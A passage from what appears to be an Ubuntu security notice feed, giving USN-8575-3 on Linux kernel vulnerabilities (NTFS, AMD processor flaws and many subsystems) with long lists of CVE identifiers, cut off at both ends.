CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31607, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612,
CVE-2026-31613, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617,
CVE-2026-31618, CVE-2026-31619, CVE-2026-31622, CVE-2026-31623,
CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627,
CVE-2026-31628, CVE-2026-31629, CVE-2026-31634, CVE-2026-31637,
CVE-2026-31638, CVE-2026-31639, CVE-2026-31642, CVE-2026-31645,
CVE-2026-31646, CVE-2026-31648, CVE-2026-31649, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31657, CVE-2026-31658,
CVE-2026-31659, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31668,
CVE-2026-31669, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31682, CVE-2026-31683, CVE-2026-31684, CVE-2026-31685,
CVE-2026-31686, CVE-2026-31687, CVE-2026-31689, CVE-2026-31693,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43011,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43037,
CVE-2026-43038, CVE-2026-43040, CVE-2026-43041, CVE-2026-43043,
CVE-2026-43044, CVE-2026-43046, CVE-2026-43047, CVE-2026-43049,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43056, CVE-2026-43057, CVE-2026-43058, CVE-2026-43059,
CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43064,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43085, CVE-2026-43086,
CVE-2026-43088, CVE-2026-43089, CVE-2026-43091, CVE-2026-43092,
CVE-2026-43093, CVE-2026-43094, CVE-2026-43098, CVE-2026-43099,
CVE-2026-43103, CVE-2026-43104, CVE-2026-43105, CVE-2026-43107,
CVE-2026-43109, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43114, CVE-2026-43117, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43123, CVE-2026-43124, CVE-2026-43128,
CVE-2026-43129, CVE-2026-43130, CVE-2026-43132, CVE-2026-43133,
CVE-2026-43134, CVE-2026-43135, CVE-2026-43136, CVE-2026-43137,
CVE-2026-43139, CVE-2026-43140, CVE-2026-43141, CVE-2026-43143,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43150, CVE-2026-43152, CVE-2026-43153, CVE-2026-43156,
CVE-2026-43157, CVE-2026-43158, CVE-2026-43159, CVE-2026-43162,
CVE-2026-43163, CVE-2026-43167, CVE-2026-43168, CVE-2026-43169,
CVE-2026-43170, CVE-2026-43171, CVE-2026-43173, CVE-2026-43175,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43185, CVE-2026-43186, CVE-2026-43187, CVE-2026-43189,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43199,
CVE-2026-43200, CVE-2026-43201, CVE-2026-43202, CVE-2026-43203,
CVE-2026-43205, CVE-2026-43206, CVE-2026-43207, CVE-2026-43209,
CVE-2026-43211, CVE-2026-43214, CVE-2026-43215, CVE-2026-43218,
CVE-2026-43221, CVE-2026-43222, CVE-2026-43223, CVE-2026-43225,
CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231,
CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43238,
CVE-2026-43239, CVE-2026-43241, CVE-2026-43242, CVE-2026-43244,
CVE-2026-43245, CVE-2026-43246, CVE-2026-43248, CVE-2026-43249,
CVE-2026-43250, CVE-2026-43251, CVE-2026-43252, CVE-2026-43253,
CVE-2026-43255, CVE-2026-43256, CVE-2026-43257, CVE-2026-43261,
CVE-2026-43262, CVE-2026-43264, CVE-2026-43265, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43271,
CVE-2026-43273, CVE-2026-43275, CVE-2026-43277, CVE-2026-43278,
CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287,
CVE-2026-43288, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295,
CVE-2026-43296, CVE-2026-43297, CVE-2026-43300, CVE-2026-43302,
CVE-2026-43304, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314,
CVE-2026-43315, CVE-2026-43316, CVE-2026-43317, CVE-2026-43318,
CVE-2026-43319, CVE-2026-43320, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43341, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43372, CVE-2026-43373, CVE-2026-43377,
CVE-2026-43378, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43383, CVE-2026-43384, CVE-2026-43386, CVE-2026-43387,
CVE-2026-43395, CVE-2026-43397, CVE-2026-43405, CVE-2026-43406,
CVE-2026-43407, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43414, CVE-2026-43415,
CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436,
CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445,
CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456,
CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488,
CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43493,
CVE-2026-43495, CVE-2026-43496, CVE-2026-43497, CVE-2026-43499,
CVE-2026-43501, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835,
CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840,
CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844,
CVE-2026-45845, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45849, CVE-2026-45851, CVE-2026-45852, CVE-2026-45855,
CVE-2026-45856, CVE-2026-45857, CVE-2026-45858, CVE-2026-45859,
CVE-2026-45860, CVE-2026-45861, CVE-2026-45862, CVE-2026-45864,
CVE-2026-45865, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868,
CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45872,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45877, CVE-2026-45878,
CVE-2026-45879, CVE-2026-45880, CVE-2026-45881, CVE-2026-45882,
CVE-2026-45883, CVE-2026-45884, CVE-2026-45885, CVE-2026-45886,
CVE-2026-45890, CVE-2026-45891, CVE-2026-45893, CVE-2026-45895,
CVE-2026-45899, CVE-2026-45902, CVE-2026-45904, CVE-2026-45905,
CVE-2026-45910, CVE-2026-45911, CVE-2026-45912, CVE-2026-45913,
CVE-2026-45914, CVE-2026-45915, CVE-2026-45916, CVE-2026-45917,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45921, CVE-2026-45923,
CVE-2026-45924, CVE-2026-45928, CVE-2026-45935, CVE-2026-45936,
CVE-2026-45938, CVE-2026-45941, CVE-2026-45942, CVE-2026-45943,
CVE-2026-45946, CVE-2026-45947, CVE-2026-45948, CVE-2026-45954,
CVE-2026-45956, CVE-2026-45957, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45962, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968,
CVE-2026-45969, CVE-2026-45970, CVE-2026-45972, CVE-2026-45973,
CVE-2026-45974, CVE-2026-45976, CVE-2026-45978, CVE-2026-45981,
CVE-2026-45982, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45988, CVE-2026-45989,
CVE-2026-45991, CVE-2026-45994, CVE-2026-45996, CVE-2026-45997,
CVE-2026-45999, CVE-2026-46002, CVE-2026-46003, CVE-2026-46004,
CVE-2026-46005, CVE-2026-46006, CVE-2026-46007, CVE-2026-46009,
CVE-2026-46011, CVE-2026-46012, CVE-2026-46015, CVE-2026-46016,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46021, CVE-2026-46022,
CVE-2026-46023, CVE-2026-46024, CVE-2026-46026, CVE-2026-46027,
CVE-2026-46031, CVE-2026-46033, CVE-2026-46037, CVE-2026-46038,
CVE-2026-46040, CVE-2026-46041, CVE-2026-46043, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46115, CVE-2026-46116, CVE-2026-46117, CVE-2026-46119,
CVE-2026-46120, CVE-2026-46121, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46125, CVE-2026-46126, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46129, CVE-2026-46131, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46135, CVE-2026-46136, CVE-2026-46137,
CVE-2026-46138, CVE-2026-46139, CVE-2026-46142, CVE-2026-46143,
CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46152, CVE-2026-46157,
CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46164, CVE-2026-46167, CVE-2026-46168, CVE-2026-46169,
CVE-2026-46172, CVE-2026-46173, CVE-2026-46174, CVE-2026-46176,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180,
CVE-2026-46184, CVE-2026-46185, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46195, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207,
CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46241, CVE-2026-46243, CVE-2026-46244, CVE-2026-46246,
CVE-2026-46247, CVE-2026-46249, CVE-2026-46250, CVE-2026-46251,
CVE-2026-46253, CVE-2026-46254, CVE-2026-46255, CVE-2026-46259,
CVE-2026-46260, CVE-2026-46261, CVE-2026-46265, CVE-2026-46266,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46280, CVE-2026-46282, CVE-2026-46285, CVE-2026-46286,
CVE-2026-46287, CVE-2026-46289, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46296, CVE-2026-46299,
CVE-2026-46301, CVE-2026-46303, CVE-2026-46304, CVE-2026-46306,
CVE-2026-46307, CVE-2026-46312, CVE-2026-46314, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64034, CVE-2026-64164)


USN-8575-3: Linux kernel vulnerabilities
Fri, 24 Jul 2026 14:17:35 +0200
Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31555, CVE-2026-31565,
CVE-2026-31570, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578,
CVE-2026-31580, CVE-2026-31581, CVE-2026-31583, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594,
CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599,
CVE-2026-31602, CVE-2026-31603, CVE-2026-31605, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31630, CVE-2026-31634, CVE-2026-31642, CVE-2026-31651,
CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661,
CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31676, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31701,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31737, CVE-2026-31738, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31770, CVE-2026-31773, CVE-2026-31778, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43020, CVE-2026-43024, CVE-2026-43026, CVE-2026-43027,
CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035,
CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
